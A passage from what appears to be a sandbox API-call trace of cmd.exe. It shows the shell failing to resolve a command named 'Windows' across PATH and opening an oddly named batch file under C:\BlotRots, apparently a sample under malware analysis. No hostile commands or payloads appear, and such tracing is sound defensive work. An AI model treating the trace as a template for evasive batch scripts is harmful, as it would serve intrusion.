fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.517] GetLastError () returned 0x2 [0162.517] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.517] GetLastError () returned 0x2 [0162.517] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.517] GetLastError () returned 0x2 [0162.517] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.518] GetLastError () returned 0x2 [0162.518] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.518] GetLastError () returned 0x2 [0162.518] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.518] GetLastError () returned 0x2 [0162.518] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.518] GetLastError () returned 0x2 [0162.518] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.518] GetLastError () returned 0x2 [0162.519] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.519] GetLastError () returned 0x2 [0162.519] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.519] GetLastError () returned 0x2 [0162.519] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.519] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.519] GetLastError () returned 0x2 [0162.519] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.519] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.520] GetLastError () returned 0x2 [0162.520] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.520] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.520] GetLastError () returned 0x2 [0162.520] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.520] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.520] GetLastError () returned 0x2 [0162.520] ??_V@YAXPEAX@Z () returned 0x1 [0162.520] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.521] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.521] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.521] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.521] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.522] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.522] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.522] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.522] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.522] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.522] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.522] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.522] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.522] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.522] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.522] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.522] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.522] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.522] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.522] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.522] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.522] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.522] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.522] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.522] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.522] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.523] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.523] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.523] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.523] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.523] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.523] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.523] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.523] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.523] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.523] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.523] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.523] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.523] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.523] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.523] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.523] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.523] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.523] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.523] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.523] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.523] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.523] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.523] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.523] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.523] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.523] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.523] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.523] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.523] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.523] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.523] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.523] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.524] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.524] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.524] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.524] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.524] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.524] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.524] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.524] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.524] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.524] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.524] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.524] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.524] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.524] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.524] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.524] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.524] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.524] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.524] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.524] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.524] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.524] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.524] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.524] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.524] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.524] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.524] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.524] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.524] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.524] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.524] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.525] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0162.525] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0162.525] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0162.525] ??_V@YAXPEAX@Z () returned 0x1 [0162.525] GetProcessHeap () returned 0x20b0f920000 [0162.525] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0162.525] GetProcessHeap () returned 0x20b0f920000 [0162.525] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb8) returned 0x20b0f92d680 [0162.525] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.525] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.526] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.526] GetProcessHeap () returned 0x20b0f920000 [0162.526] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0162.527] SetErrorMode (uMode=0x0) returned 0x0 [0162.527] SetErrorMode (uMode=0x1) returned 0x0 [0162.527] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.527] SetErrorMode (uMode=0x0) returned 0x1 [0162.528] GetProcessHeap () returned 0x20b0f920000 [0162.528] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0162.528] GetProcessHeap () returned 0x20b0f920000 [0162.528] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0162.528] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.528] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.528] GetProcessHeap () returned 0x20b0f920000 [0162.528] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.528] GetProcessHeap () returned 0x20b0f920000 [0162.528] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.528] GetProcessHeap () returned 0x20b0f920000 [0162.528] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.528] GetProcessHeap () returned 0x20b0f920000 [0162.528] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.528] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.528] GetProcessHeap () returned 0x20b0f920000 [0162.528] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92e460 [0162.528] GetProcessHeap () returned 0x20b0f920000 [0162.528] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e460, Size=0x7e) returned 0x20b0f92e460 [0162.528] GetProcessHeap () returned 0x20b0f920000 [0162.528] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e460) returned 0x7e [0162.528] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.528] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d030 [0162.529] FindClose (in: hFindFile=0x20b0f92d030 | out: hFindFile=0x20b0f92d030) returned 1 [0162.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.529] GetLastError () returned 0x2 [0162.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.529] GetLastError () returned 0x2 [0162.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.529] GetLastError () returned 0x2 [0162.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.529] GetLastError () returned 0x2 [0162.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.529] GetLastError () returned 0x2 [0162.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.530] GetLastError () returned 0x2 [0162.530] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.530] GetLastError () returned 0x2 [0162.530] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.530] GetLastError () returned 0x2 [0162.530] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.530] GetLastError () returned 0x2 [0162.530] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.530] GetLastError () returned 0x2 [0162.530] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.530] GetLastError () returned 0x2 [0162.531] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.531] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.531] GetLastError () returned 0x2 [0162.531] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.531] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d330 [0162.531] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0162.531] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.531] GetLastError () returned 0x2 [0162.531] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.531] GetLastError () returned 0x2 [0162.531] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.531] GetLastError () returned 0x2 [0162.532] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.532] GetLastError () returned 0x2 [0162.532] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.532] GetLastError () returned 0x2 [0162.532] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.533] GetLastError () returned 0x2 [0162.533] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.533] GetLastError () returned 0x2 [0162.533] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.534] GetLastError () returned 0x2 [0162.534] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.534] GetLastError () returned 0x2 [0162.534] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.534] GetLastError () returned 0x2 [0162.534] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.534] GetLastError () returned 0x2 [0162.534] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.534] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.534] GetLastError () returned 0x2 [0162.534] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.534] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.535] GetLastError () returned 0x2 [0162.535] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.535] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.535] GetLastError () returned 0x2 [0162.535] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.535] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.535] GetLastError () returned 0x2 [0162.535] ??_V@YAXPEAX@Z () returned 0x1 [0162.535] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.535] GetFileType (hFile=0x54) returned 0x2 [0162.535] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.535] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.536] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.536] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.536] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.536] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0162.536] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0162.541] ??_V@YAXPEAX@Z () returned 0x1 [0162.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.542] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.542] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.542] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.542] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.543] SetConsoleInputExeNameW () returned 0x1 [0162.543] GetConsoleOutputCP () returned 0x1b5 [0162.543] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.543] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.543] ??_V@YAXPEAX@Z () returned 0x1 [0162.544] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.544] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.545] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.545] SetFilePointer (in: hFile=0x94, lDistanceToMove=1313, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x521 [0162.545] GetProcessHeap () returned 0x20b0f920000 [0162.545] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e460) returned 1 [0162.545] GetProcessHeap () returned 0x20b0f920000 [0162.545] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.545] GetProcessHeap () returned 0x20b0f920000 [0162.545] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.545] 